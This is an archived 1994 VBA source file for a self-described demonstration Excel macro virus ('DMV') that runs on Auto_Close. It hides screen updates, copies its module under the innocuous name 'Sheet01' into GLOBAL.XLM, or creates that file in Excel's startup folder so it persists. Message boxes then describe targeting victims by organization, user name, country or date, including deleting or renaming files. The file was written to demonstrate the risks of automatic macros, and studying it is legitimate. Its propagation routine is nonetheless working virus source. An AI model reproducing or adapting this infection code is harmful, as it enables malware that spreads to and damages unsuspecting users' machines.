home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / MVUPDAT3.ZIP / DMVEXCEL.ZIP / DMVEXCEL.MAC next >
Text File  |  1995-09-19  |  4KB  |  90 lines

  1. ' Excel Auto_Close DMV
  2. ' 12/27/94 by joelm@eskimo.com
  3. '
  4. ' This is a quick and dirty demonstration of a DMV running under
  5. ' Microsoft Excel 5.0.  It demonstrates the security risks of
  6. ' automatic macros.
  7. '
  8. ' The code executes when Excel closes.  It infects the global macro file.
  9. ' No data files are infected, although it would be possible to add
  10. ' additional VBA code to do so (ala the Word DMV.DOC file).
  11.  
  12. Sub Auto_Close()
  13.  
  14. 'this is the virus propogation code that infects global.xlm
  15.  
  16. 'for testing if global.xlm and virus are already present
  17. globalPresent = 0
  18. virusPresent = 0
  19.  
  20. 'turn screen updating off so the results can't be seen by the user
  21. Application.ScreenUpdating = False
  22. For x = 1 To Application.Workbooks.Count
  23.     'is a global.xlm file present?
  24.     If Application.Workbooks(x).Name = "GLOBAL.XLM" Then
  25.         'it exists
  26.         globalPresent = 1
  27.         'now see if the macro virus has already been installed
  28.         For y = 1 To Application.Workbooks("GLOBAL.XLM").Modules.Count
  29.             'the module with the virus is given an innocent looking
  30.             'name that blends in with the other sheets
  31.             If Application.Workbooks("GLOBAL.XLM").Modules(y).Name = "Sheet01" Then
  32.                 virusPresent = 1
  33.                 MsgBox "Virus already installed in GLOBAL.XLM"
  34.             End If
  35.         Next
  36.         
  37.         'global.xlm exists, but the virus hasn't been installed, so install
  38.         'it from this file
  39.         If virusPresent = 0 Then
  40.             'make it visible - this is required before a copy
  41.             Windows("GLOBAL.XLM").Visible = True
  42.             'copy this module into it
  43.             MsgBox "GLOBAL.XLM exists.  Adding Auto_Close virus to it."
  44.             Application.Workbooks("DMV.XLS").Modules("Sheet01").Copy after:=Application.Workbooks("GLOBAL.XLM").Modules(1)
  45.             'make it invisible again
  46.             Windows("GLOBAL.XLM").Visible = False
  47.             'save it
  48.             Application.Workbooks("GLOBAL.XLM").Save
  49.         End If
  50.     End If
  51. Next
  52.     'global.xlm doesn't exist, so create one and save macro to
  53.     If globalPresent = 0 Then
  54.         MsgBox "GLOBAL.XLM doesn't exist.  Creating it now."
  55.         'copy the module into the startup directory
  56.         Application.Workbooks("DMV.XLS").SaveCopyAs Application.StartupPath + "\GLOBAL.XLM"
  57.         'now we need to open it up and make it visible
  58.         Application.Workbooks.Open (Application.StartupPath + "\GLOBAL.XLM")
  59.         Windows("GLOBAL.XLM").Visible = False
  60.         'save the change
  61.         Application.Workbooks("GLOBAL.XLM").Save
  62.     End If
  63.     
  64. 'turn screen updating back on
  65. Application.ScreenUpdating = True
  66.     
  67. MsgBox "The virus has been spread.  Now execute some other code, for example..."
  68.  
  69. 'this is the code that executes after the virus is spread, some malicious
  70. 'examples that use simple VB properties are shown
  71.  
  72. orgName = Application.OrganizationName
  73. MsgBox ("Just checked which organization Excel was registered to..." + Chr(10) + Chr(10) + "A DMV could selectively target a business, government agency, or organization.  For example, delete all files if this software was licensed to IBM.")
  74.  
  75. useName = Application.UserName
  76. MsgBox "Just checked who Excel was registered to..." + Chr(10) + Chr(10) + "A DMV could selectively target a specific individual for revenge or eavesdropping."
  77.  
  78. theCountry = Application.International(xlCountryCode)
  79. MsgBox "Just checked Excel's country code..." + Chr(10) + Chr(10) + "A DMV could selectively target users within a certain country.  For example, overwrite files if an Arabic version of Excel was running."
  80.  
  81. theDate = Date
  82. MsgBox "Just checked the date..." + Chr(10) + Chr(10) + "A DMV could serve as a time bomb.  For example, start renaming files after September 1995, so it appears problems are related to the release of Microsoft Windows 95."
  83.  
  84. theOS = Application.OperatingSystem
  85. MsgBox "Just checked the operating system..." + Chr(10) + Chr(10) + "A DMV could only execute if a specific version of an operating system was running."
  86.  
  87. End Sub
  88.  
  89.  
  90.